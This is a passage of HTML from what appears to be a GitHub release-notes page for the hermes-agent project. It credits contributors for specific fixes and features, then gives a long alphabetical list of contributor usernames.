<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zjianru/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zjianru">@Zjianru</a></strong> — cross-provider reasoning_content isolation + DeepSeek/Kimi empty-reasoning injection (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328871924" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/15749" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15749/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/15749">#15749</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329009564" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/15762" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15762/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/15762">#15762</a>)</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a></strong> — Telegram chat allowlists for groups and forums (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4321989919" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/15027" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15027/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/15027">#15027</a>)</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a></strong> — 9 new TouchDesigner-MCP reference docs (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340067733" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/16768" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16768/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/16768">#16768</a>)</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xDevNinja/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xDevNinja">@0xDevNinja</a></strong> — curator <code>restore_skill</code> nested-archive fix (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358056461" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/17951" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17951/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/17951">#17951</a>)</li>
<li><strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/y0shua1ee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/y0shua1ee">@y0shua1ee</a></strong> — curator <code>use</code> activity fix (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358097284" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/17953" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17953/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/17953">#17953</a>)</li>
</ul>
<h3>Also contributing</h3>
<p>Salvaged or co-authored work from <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/isaachuangGMICLOUD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/isaachuangGMICLOUD">@isaachuangGMICLOUD</a></strong> (GMI Cloud), earlier upstream PRs from the original author of each salvage chain, and a long tail of one-shot fixes, documentation nudges, and skill contributions from the community.</p>
<h3>All Contributors (alphabetical, excluding <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xharryriddle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xharryriddle">@0xharryriddle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xDevNinja/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xDevNinja">@0xDevNinja</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0z1-ghb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0z1-ghb">@0z1-ghb</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/5park1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/5park1e">@5park1e</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/A-FdL-Prog/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/A-FdL-Prog">@A-FdL-Prog</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aj-nt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aj-nt">@aj-nt</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akhater/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akhater">@akhater</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alblez/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alblez">@alblez</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexg0bot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexg0bot">@alexg0bot</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexzhu0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexzhu0">@alexzhu0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AllardQuek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AllardQuek">@AllardQuek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanning3390/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanning3390">@amanning3390</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanuel2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanuel2">@amanuel2</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AndreKurait/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AndreKurait">@AndreKurait</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andrewhosf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andrewhosf">@andrewhosf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Andy283/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Andy283">@Andy283</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andyylin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andyylin">@andyylin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/angel12/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/angel12">@angel12</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AntAISecurityLab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AntAISecurityLab">@AntAISecurityLab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ash">@ash</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/badgerbees/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/badgerbees">@badgerbees</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BadTechBandit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BadTechBandit">@BadTechBandit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beenherebefore/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beenherebefore">@beenherebefore</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beesrsj2500/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beesrsj2500">@beesrsj2500</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BeliefanX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BeliefanX">@BeliefanX</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benjaminsehl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benjaminsehl">@benjaminsehl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlackishGreen33/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlackishGreen33">@BlackishGreen33</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bloodcarter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bloodcarter">@bloodcarter</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlueBirdBack/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlueBirdBack">@BlueBirdBack</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, @brooklynnicholson, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bsgdigital/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bsgdigital">@bsgdigital</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/buray/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/buray">@buray</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bwjoke/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bwjoke">@bwjoke</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/camaragon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/camaragon">@camaragon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cdanis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cdanis">@cdanis</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cgarwood82/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cgarwood82">@cgarwood82</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/charles-brooks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/charles-brooks">@charles-brooks</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chen1749144759/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chen1749144759">@chen1749144759</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chengoak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chengoak">@chengoak</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ching-kaching/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ching-kaching">@ching-kaching</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Contentment003111/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Contentment003111">@Contentment003111</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crayfish-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crayfish-ai">@crayfish-ai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CruxExperts/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CruxExperts">@CruxExperts</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyclingwithelephants/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyclingwithelephants">@cyclingwithelephants</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dandaka/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dandaka">@dandaka</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danklynn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danklynn">@danklynn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ddupont808/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ddupont808">@ddupont808</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dhabibi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dhabibi">@dhabibi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/difujia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/difujia">@difujia</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dimitrovi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dimitrovi">@dimitrovi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dlkakbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dlkakbs">@dlkakbs</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dontcallmejames/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dontcallmejames">@dontcallmejames</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EKKOLearnAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EKKOLearnAI">@EKKOLearnAI</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emozilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emozilla">@emozilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ericnicolaides/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ericnicolaides">@ericnicolaides</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/exiao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/exiao">@exiao</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Feranmi10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Feranmi10">@Feranmi10</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flobo3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flobo3">@flobo3</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/foxion37/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/foxion37">@foxion37</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/georgeglessner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/georgeglessner">@georgeglessner</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/georgex8001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/georgex8001">@georgex8001</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ghostmfr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ghostmfr">@ghostmfr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/H-Ali13381/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/H-Ali13381">@H-Ali13381</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HangGlidersRule/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HangGlidersRule">@HangGlidersRule</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harryplusplus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harryplusplus">@harryplusplus</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haru398801/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haru398801">@haru398801</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heathley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heathley">@heathley</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hejuntt1014/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hejuntt1014">@hejuntt1014</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hekaru-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hekaru-agent">@hekaru-agent</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Heltman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Heltman">@Heltman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HenkDz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HenkDz">@HenkDz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heyitsaamir/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heyitsaamir">@heyitsaamir</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hharry11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hharry11">@hharry11</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hhhonzik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hhhonzik">@hhhonzik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hhuang91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hhuang91">@hhuang91</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HiddenPuppy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HiddenPuppy">@HiddenPuppy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/htsh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/htsh">@htsh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamagenius00/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamagenius00">@iamagenius00</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/in-liberty420/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/in-liberty420">@in-liberty420</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/innocarpe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/innocarpe">@innocarpe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/irispillars/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/irispillars">@irispillars</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iRonin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iRonin">@iRonin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/isaachuangGMICLOUD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/isaachuangGMICLOUD">@isaachuangGMICLOUD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ito-69/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ito-69">@Ito-69</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/j3ffffff/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/j3ffffff">@j3ffffff</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jackjin1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jackjin1997">@jackjin1997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jakubkrcmar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jakubkrcmar">@jakubkrcmar</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jason2031/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jason2031">@Jason2031</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JayGwod/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JayGwod">@JayGwod</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerome-benoit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerome-benoit">@jerome-benoit</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/johnncenae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/johnncenae">@johnncenae</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/keiravoss94/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/keiravoss94">@keiravoss94</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kevin-ho/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kevin-ho">@kevin-ho</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/knockyai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/knockyai">@knockyai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konsisumer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konsisumer">@konsisumer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kunlabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kunlabs">@kunlabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/l0hde/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/l0hde">@l0hde</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Leihb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Leihb">@Leihb</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leoneparise/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leoneparise">@leoneparise</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liizfq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liizfq">@liizfq</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LoongZhao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LoongZhao">@LoongZhao</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lsdsjy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lsdsjy">@lsdsjy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luyao618/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luyao618">@luyao618</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ma-pony/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ma-pony">@ma-pony</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Magaav/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Magaav">@Magaav</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Magicray1217/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Magicray1217">@Magicray1217</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/math0r-be/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/math0r-be">@math0r-be</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MattMaximo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MattMaximo">@MattMaximo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maxims-oss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maxims-oss">@maxims-oss</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MaxyMoos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MaxyMoos">@MaxyMoos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maymuneth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maymuneth">@maymuneth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcndjxlefnd/hovercard" 